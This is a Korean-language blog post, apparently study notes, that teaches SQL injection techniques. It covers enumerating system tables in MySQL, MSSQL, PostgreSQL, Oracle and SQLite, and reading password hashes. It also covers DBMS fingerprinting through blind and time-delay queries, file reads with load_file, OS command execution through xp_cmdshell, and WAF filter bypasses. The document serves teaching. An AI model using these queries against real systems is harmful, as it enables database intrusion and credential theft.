본문 바로가기

웹해킹

SQL Injection-2

 SQL Injection으로 원하는 정보 계정과 비밀번호 등을 알아내기 위해서는

해당 정보가 포함된 테이블과 컬럼명을 알아내야 한다.

따라서 시스템 테이블을 조회하는 쿼리 등을 작성해야 한다.

 

<MYSQL>

MYSQL은 초기 설치 시 information_schema와 mysql, performance_schema, 그리고 sys 데이터베이스가 있다.

tables를 통해 정보를 조회할 수 있다.

select TABLE_SCHEMA from information_schema.tables group by TABLE_SCHEMA;
select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES;
select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;

table_schema와 table_name, column_name까지 조회할 수 있다.

PROCESSLIST를 이용하면 실시간으로 실행되는 쿼리를 조회할 수 있다.

mysql> select * from information_schema.PROCESSLIST;
/*
+-------------------------------------------------+
| info                                            |
+-------------------------------------------------+
| select info from information_schema.PROCESSLIST |
+-------------------------------------------------+
1 row in set (0.00 sec)
*/

sys의 SESSION 테이블을 이용해 실행 중인 계정까지 함께 조회할 수도 있다.

mysql> select user,current_statement from sys.session;
/*
+----------------+------------------------------------------------+
| user           | current_statement                              |
+----------------+------------------------------------------------+
| root@localhost | select user,current_statement from sys.session |
+----------------+------------------------------------------------+
1 row in set (0.05 sec)
*/

USER_PRIVILEGES 테이블을 통해 MySQL 서버의 계정 정보를 조회할 수 있다.

mysql> select GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE from information_schema.USER_PRIVILEGES;
/*
PRIVILEGE_TYPE: 특정 사용자가 가진 권한의 종류를 나타냅니다.
IS_GRANTABLE: 특정 사용자가 자신의 권한을 다른 유저에게 줄 수 있는지 YES 또는 NO로 표시됩니다.
+-------------------------+-------------------------+--------------+
| GRANTEE                 | PRIVILEGE_TYPE          | IS_GRANTABLE |
+-------------------------+-------------------------+--------------+
| 'root'@'localhost'      | SELECT                  | YES          |
...
| 'root'@'localhost'      | SUPER                   | YES          |
...
| 'user_test'@'localhost' | USAGE                   | NO           |
+-------------------------+-------------------------+--------------+
58 rows in set (0.00 sec)
*/

 

 

<MSSQL>

MSSQL은 master, tempdb, model, msdb 데이터베이스가 있다.

SELECT name FROM master..sysdatabases;
/*
name
-------
master
tempdb
model
msdb
dreamhack # 이용자 정의 데이터베이스 (예시)
*/

SELECT DB_NAME(1);
/*
master
*/

SYSDATABSES와 DB_NAME()을 이용해 데이터베이스에 대한 정보를 얻을 수 있다.

 

SELECT name FROM dreamhack..sysobjects WHERE xtype = 'U';
# xtype='U' 는 이용자 정의 테이블을 의미합니다.
/*
name
-------
users
*/

SELECT table_name FROM dreamhack.information_schema.tables;
/*
table_name
-----------
users
*/

sysobjects를 이용해 테이블 정보를 조회할 수 있다. 

information_schema의 tables에 담겨있는 table_name으로 조회할 수도 있다.

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');
/*
name
-----
uid
upw
*/

SELECT table_name, column_name FROM dreamhack.information_schema.columns;
/*
table_name	column_name
-------------------------
users		uid
users		upw
*/

syscolumns 또는 information+schema의 columns 테이블을 이용해 테이블의 컬럼까지 조회할 수 있다.

 

SELECT name, password_hash FROM master.sys.sql_logins;
/*
name		password_hash
--------------------------
sa			NULL
dreamhack	NULL
*/
 
 SELECT * FROM master..syslogins;

master 데이터베이스의 sys.sql_logins 테이블을 이용하거나 syslogins 테이블을 이용해 계정 정보를 조회할 수 있다.

 

<PostgreSQL>

PostgreSQL은 postgres, template1, template0 데이터베이스가 있다.

pg_catalog, information_schema에 주요 정보를 담고 있는 테이블이 있다.

postgres=$ select table_name from information_schema.tables where table_schema='pg_catalog';
/*
           table_name
---------------------------------
pg_shadow
pg_settings
pg_database
pg_stat_activity
...
*/

postgres=# select table_name from information_schema.tables where table_schema='information_schema';
/*
              table_name
---------------------------------------
schemata
tables
columns
...
*/

pg_catalog.pg_shadow 테이블에서 서버의 계정 정보를 조회할 수 있다.

postgres=$ select usename, passwd from pg_catalog.pg_shadow;
/*
 usename  |               passwd
----------+-------------------------------------
 postgres | md5df6802cb10f4000bf81de27261c1155f
(1 row)
*/

pg_catalog.pg_settings 테이블을 통해 PostgreSQL 서버의 설정 정보를 조회할 수 있다.

postgres=$ select name, setting from pg_catalog.pg_settings;
/*
                  name                  |                 setting
----------------------------------------+------------------------------------------
 allow_system_table_mods                | off
 application_name                       | psql
 ...
*/

pg_catalog.pg_stat_activity 테이블을 통해 실시간으로 실행되는 쿼리를 조회할 수 있다.

postgres=$ select usename, query from pg_catalog.pg_stat_activity;
/*
 usename  |                          query                          
----------+---------------------------------------------------------
 postgres | select usename, query from pg_catalog.pg_stat_activity;
(1 row)
*/

 

<Oracle>

all_tables로 사용자가 접근할 수 있는 테이블을 볼 수 있다.

SELECT DISTINCT owner FROM all_tables
SELECT owner, table_name FROM all_tables

all_tab_columns로 특정 테이블의 칼럼 정보를 확인할 수 있다.

SELECT column_name FROM all_tab_columns WHERE table_name = 'users'

all_users 테이블을 통해 DBMS 계정 정보를 획득할 수 있다.

SELECT * FROM all_users

 

<SQLite>

sqlite_master 시스템 테이블이 있다.

sqlite> .header on
-- 콘솔에서 실행 시 컬럼 헤더를 출력하기 위해 설정합니다.

sqlite> open dreamhack.db
-- 데이터베이스를 연결합니다.

sqlite> select * from sqlite_master;
/*
type|name|tbl_name|rootpage|sql
table|users|users|2|CREATE TABLE users (uid text, upw text)
*/

 

 

DBMS Fingerprinting

SQL Injection 취약점을 발견하면 제일 먼저 알아내야 할 정보는 DBMS의 종류와 버전이다.

쿼리의 실행 결과를 볼 수 있다면 환경 변수를 이용할 수 있다.

SELECT @@version
SELECT version()

에러 메세지 출력을 통해서 알아낼 수도 있다.

select 1 union select 1, 2;
# MySQL => ERROR 1222 (21000): The used SELECT statements have a different number of columns
(select * from not_exists_table)
# SQLite => Error: no such table: not_exists_table

참 거짓만을 알 수 있는 경우에는

mid(@@version, 1, 1)='5';
substr(version(), 1, 1)='P';

이런 식으로 하나씩 가져와서 비교하면서 알아낼 수도 있다.

출력이 아예 없는 경우 시간 지연 함수를 사용할 수도 있다.

sleep(10)
pg_sleep(10)

 

<MySQL>

mysql> select @@version; # select version();
+-------------------------+
| @@version               |
+-------------------------+
| 5.7.29-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)

version을 이용해 버전과 운영 체제 정보를 알아낸다.

mysql> select 1 union select 1, 2;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

에러 메시지 출력을 이용해 MySQL임을 알아낸다.

(1222 에러 코드는 MySQL에서 명시한 코드이다.)

mysql> select mid(@@version, 1, 1)='6' and sleep(2);
+---------------------------------------+
| mid(@@version, 1, 1)='6' and sleep(2) |
+---------------------------------------+
|                                     0 |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> select mid(@@version, 1, 1)='5' and sleep(2);
+---------------------------------------+
| mid(@@version, 1, 1)='5' and sleep(2) |
+---------------------------------------+
|                                     0 |
+---------------------------------------+
1 row in set (2.00 sec)

참, 거짓만 알 수 있거나 출력 결과가 없는 경우에는 이런 식으로 알아낼 수도 있다.

and를 사용하면 앞의 조건이 맞는 경우에만 뒤가 실행되기 때문이다.

 

<PostgreSQL>

postgres=$ select version();
version
--------
 PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
(1 row)

version함수를 이용해 운영 체제 정보를 알아낼 수 있다.

postgres=$ select 1 union select 1, 2;
ERROR:  each UNION query must have the same number of columns
LINE 1: select 1 union select 1, 2;

에러 메세지 검색을 통해 PostgreSQL에서 출력하는 에러 메세지임을 알 수 있다.

 /* version() => 'PostgreSQL ...', substr(version(), 1, 1) => 'P' */
postgres=$ select substr(version(), 1, 1)='P';
 ?column?
----------
 t
(1 row)
postgres=# select substr(version(), 1, 1)='Q';
 ?column?
----------
 f
(1 row)

참, 거짓만 알 수 있을 때 이런 식으로 비교하면서 알아낼 수 있다.

 

<MSSQL>

> select @@version;
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64)
	Nov 30 2018 12:57:58
	Copyright (C) 2017 Microsoft Corporation
	Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS)
(1 rows affected)

마찬가지로 version 환경 변수로 운영 체제와 버전 정보 등을 알아낼 수 있다.

> select 1 union select 1, 2;
Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf

에러 메세지 검색을 통해 MSSQL에서 출력하는 에러 메세지임을 알 수 있다.

-- @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M'
> select 1 from test where substring(@@version, 1, 1)='M';
-----------
          1
(1 rows affected)
> select 1 from test where substring(@@version, 1, 1)='N';
-----------
(0 rows affected)

참, 거짓만 알 수 있는 경우 substring 함수로 한 글자씩 비교하며 알아낼 수 있다.

select '' if(substring(@@version, 1, 1)='M') waitfor delay '0:0:5';

waitfor delay를 이용하면 시간 지연도 이용할 수 있다.

 

<SQLite>

sqlite> select sqlite_version();
3.11.0

sqlite_version 함수를 통해 DBMS의 버전을 알아낼 수 있다.

sqlite> select 1 union select 1, 2;
Error: SELECTs to the left and right of UNION do not have the same number of result columns

에러메세지로 SQLite임을 알 수 있다.

-- sqlite_version() => '3.11.0', substr(sqlite_version(), 1, 1) => '3'
sqlite> select substr(sqlite_version(), 1, 1)='3';
1
sqlite> select substr(sqlite_version(), 1, 1)='4';
0

참, 거짓만 반환하는 경우에 substr로 한 글자씩 비교하면 버전 정보를 얻을 수 있다.

select case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;

LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2))))를 이용해 시간 지연 발생을 시킬 수 있다.

 

 

MySQL에서 파일 관련된 작업을 할 때 mysql 권한으로 수행되고, my.cnf 파일의 secure_file_priv값에 영향을 받는다.

secure_file_priv는 load_file이나 outfile을 이용해 파일에 접근할 때 접근할 수 있는 파일 경로에 대한 정보를 가지고 있다.

mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv    |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+

select로 간단하게 조회할 수 있다.

# echo test1234 > /var/lib/mysql-files/test
mysql> select load_file('/var/lib/mysql-files/test');
+----------------------------------------+
| load_file('/var/lib/mysql-files/test') |
+----------------------------------------+
| test1234                               |
+----------------------------------------+

load_file 함수로 파일을 읽고 출력할 수 있다.

 

MSSSQL에서는 xp_cmdshell을 이용해 OS 명령어를 실행할 수 있다.

SELECT name, value, description FROM sys.configurations WHERE name = 'xp_cmdshell'

이 명령어로 xp_cmdshell의 활성화 여부를 확인할 수 있다.

value가 1이면 활성화를 의미한다.

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

이렇게 xp_cmdshell 명령어를 사용할 수 있다.

 

DBMS는 문자열을 비교하는 방법이 서로 다르다.

<?php
...
// $input = "Admin"; # 대소문자 구분
// $input = "admin "; # 공백 문자로 끝나는 문자열 비교
if($input === "admin") die("can't account lookup"); // filter bypass
/*
DBMS
uid: admin, account_info: secret
...
*/
echo query("select account_info from users where uid='{$input}';");
mysql> select 'a'='A';
/*
+---------+
| 'a'='A' |
+---------+
|       1 |
+---------+
*/

대소문자 구분을 안해서 참을 반환한다.

/* version: 5.7.42 */
mysql> select 'a'='a ';
/*
+---------+
| 'a'='a '|
+---------+
|       1 |
+---------+
*/

공백 문자로 끝나는 문자열 비교에서도 그냥 참을 반환한다.

 

WAF는 웹앱에 특화된 방화벽이다.

웹 방화벽은 공격코드, 키워드를 기반으로 탐지한다.

대소문자 검사 우회, 치환으로 필터링하는 경우에 우회, reverse나 concat으로 문자열을 완성시키는 우회, 연산자를 이용한 우 공백 탐지 우회 등의 방법이 있다.

 

<MySQL>

select 0x6162, 0b110000101100010;
select char(0x61, 0x62);
select concat(char(0x61), char(0x62));
select mid(@@version,12,1);

이런 방법들로 문자열 검사를 우회할 수 있다.

select
    -> 1;
개행문자 이용
select/**/1;
주석 이용

개행문자와 주석을 이용해 공백 검사를 우회할 수 있다.

 

<PostgreSQL>

select chr(65);
select concat(chr(65), chr(66));
select substring(version(),23,1);

mysql가 비슷하게 문자열 우회를 할 수 있다.

select
1;
select/**/1;

마찬가지로 공백검사를 우회할 수 있다.

 

<SQLite>

select char(0x61);
select char(0x61)||char(0x62);

문자열 우회

select
   ...> 1;
select/**/1;

공백 검사 우회